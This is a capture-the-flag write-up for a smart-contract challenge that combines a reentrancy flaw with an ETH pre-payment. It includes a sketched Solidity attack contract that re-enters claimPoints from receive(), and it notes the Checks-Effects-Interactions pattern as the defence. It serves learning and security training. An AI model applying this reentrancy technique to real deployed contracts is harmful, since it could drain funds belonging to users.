Appearance
S2C4: Reentrancy + Payment
1. Problem
The contract requires: (1) the caller to pay a certain amount of ETH, and (2) specific points/level conditions to be met before minting the flag. The contract uses call{value: ...} for refunds.
2. Cause
Similar to S1C5, the contract makes an external call (ETH transfer) before deducting points, leading to a reentrancy vulnerability. But this time, ETH also needs to be pre-deposited.
3. Solution
- Pre-fund the attack contract with sufficient ETH
- The attack contract calls the challenge contract's payment function
- Re-enter the key function in the
receive()callback - Call
mintFlagonce conditions are met
solidity
contract S2C4Solution {
constructor(address challenge) payable {
// Pre-deposit ETH
challenge.call{value: requiredEth}("");
}
function solve() external {
challenge.claimPoints(); // Trigger reentrancy
challenge.upgradeLevel();
challenge.mintFlag();
}
receive() external payable {
if (counter < TARGET) {
counter++;
challenge.claimPoints();
}
}
}
4. Pitfalls Encountered
ETH Balance Management: The attack contract needs to be pre-funded with sufficient ETH, and adequate gas must be ensured during reentrancy.
5. Why the Pitfall Occurred
The contract uses call{value: amount}("") to send ETH, which triggers the recipient's receive() function. If the refund amount is insufficient, subsequent logic may break.
6. How to Resolve
Deploy the attack contract with sufficient ETH attached (using the --value flag or making the constructor payable).
7. Technical Takeaways
| Point | Explanation |
|---|---|
| Reentrancy + ETH Payment | Combined attack: must handle both fund management and reentrancy logic |
| Payable Constructor | Pre-deposit ETH into the attack contract at deployment time |
| CEI Pattern | Checks-Effects-Interactions prevents this type of attack |